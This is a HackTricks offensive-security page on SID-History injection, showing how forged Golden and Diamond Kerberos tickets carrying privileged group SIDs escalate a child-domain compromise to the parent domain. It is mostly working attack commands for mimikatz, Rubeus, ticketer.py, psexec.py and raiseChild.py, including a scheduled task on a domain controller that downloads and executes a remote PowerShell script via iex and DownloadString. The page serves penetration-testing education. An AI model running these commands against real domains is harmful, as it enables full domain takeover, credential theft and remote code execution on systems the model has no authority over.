169 lines
8.7 KiB
Markdown
169 lines
8.7 KiB
Markdown
# SID-History Injection
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## Attack
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SID History was designed to support migration scenarios, where a user would be moved from one domain to another. To preserve access to resources in the "old" domain, the **user's previous SID would be added to the SID History** of their new account. So when creating such a ticket, the SID of a privileged group (EAs, DAs, etc) in the parent domain can be added that will **grant access to all resources in the parent**.
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This can be achieved using either a [**Golden**](sid-history-injection.md#golden-ticket) or [**Diamond Ticket**](sid-history-injection.md#diamond-ticket).
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For finding the **SID** of the **"Enterprise Admins"** group you can find the **SID** of the **root domain** and set it in `S-1-5-21-<root domain>-519`. For example, from root domain SID `S-1-5-21-280534878-1496970234-700767426` the **"Enterprise Admins"** group SID is `S-1-5-21-280534878-1496970234-700767426-519`
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You could also use the **Domain Admins** groups, which ends in **512**.
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Another way yo find the SID of a group of the other domain (for example "Domain Admins") is with:
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```powershell
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Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
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```
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### Golden Ticket (Mimikatz) with KRBTGT-AES256
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{% code overflow="wrap" %}
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```bash
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mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"
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/user is the username to impersonate (could be anything)
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/domain is the current domain.
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/sid is the current domain SID.
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/sids is the SID of the target group to add ourselves to.
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/aes256 is the AES256 key of the current domain's krbtgt account.
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--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
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/startoffset sets the start time of the ticket to 10 mins before the current time.
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/endin sets the expiry date for the ticket to 60 mins.
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/renewmax sets how long the ticket can be valid for if renewed.
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# The previous command will generate a file called ticket.kirbi
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# Just loading you can perform a dcsync attack agains the domain
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```
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{% endcode %}
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For more info about golden tickets check:
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{% content-ref url="golden-ticket.md" %}
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[golden-ticket.md](golden-ticket.md)
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{% endcontent-ref %}
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### Diamond Ticket (Rubeus + KRBTGT-AES256)
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{% code overflow="wrap" %}
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```powershell
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# Use the /sids param
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Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap
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# Or a ptt with a golden ticket
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Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid> /sids:<parent_domain_sid>-519 /user:Administrator /ptt
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# You can use "Administrator" as username or any other string
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```
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{% endcode %}
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For more info about diamond tickets check:
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{% content-ref url="diamond-ticket.md" %}
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[diamond-ticket.md](diamond-ticket.md)
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{% endcontent-ref %}
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{% code overflow="wrap" %}
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```bash
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.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
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.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
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ls \\mcorp-dc.moneycorp.local\c$
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```
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{% endcode %}
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Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain:
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{% code overflow="wrap" %}
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```bash
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Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
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Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
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gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
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schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
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schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
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```
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{% endcode %}
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With the acquired permissions from the attack you can execute for example a DCSync attack in the new domain:
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{% content-ref url="dcsync.md" %}
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[dcsync.md](dcsync.md)
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{% endcontent-ref %}
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### From linux
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#### Manual with [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
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{% code overflow="wrap" %}
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```bash
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# This is for an attack from child to root domain
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# Get child domain SID
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lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
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# Get root domain SID
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lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"
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# Generate golden ticket
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ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator
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# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
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# JUST USE THE SAME USERNAME IN THE NEXT STEPS
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# Load ticket
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export KRB5CCNAME=hacker.ccache
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# psexec in domain controller of root
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psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
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```
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{% endcode %}
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#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
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This is an Impacket script which will **automate escalating from child to parent domain**. The script needs:
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* Target domain controller
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* Creds for an admin user in the child domain
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The flow is:
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* Obtains the SID for the Enterprise Admins group of the parent domain
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* Retrieves the hash for the KRBTGT account in the child domain
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* Creates a Golden Ticket
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* Logs into the parent domain
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* Retrieves credentials for the Administrator account in the parent domain
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* If the `target-exec` switch is specified, it authenticates to the parent domain's Domain Controller via Psexec.
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```bash
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raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
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```
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## References
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* [https://studylib.net/doc/25696115/crto](https://studylib.net/doc/25696115/crto)
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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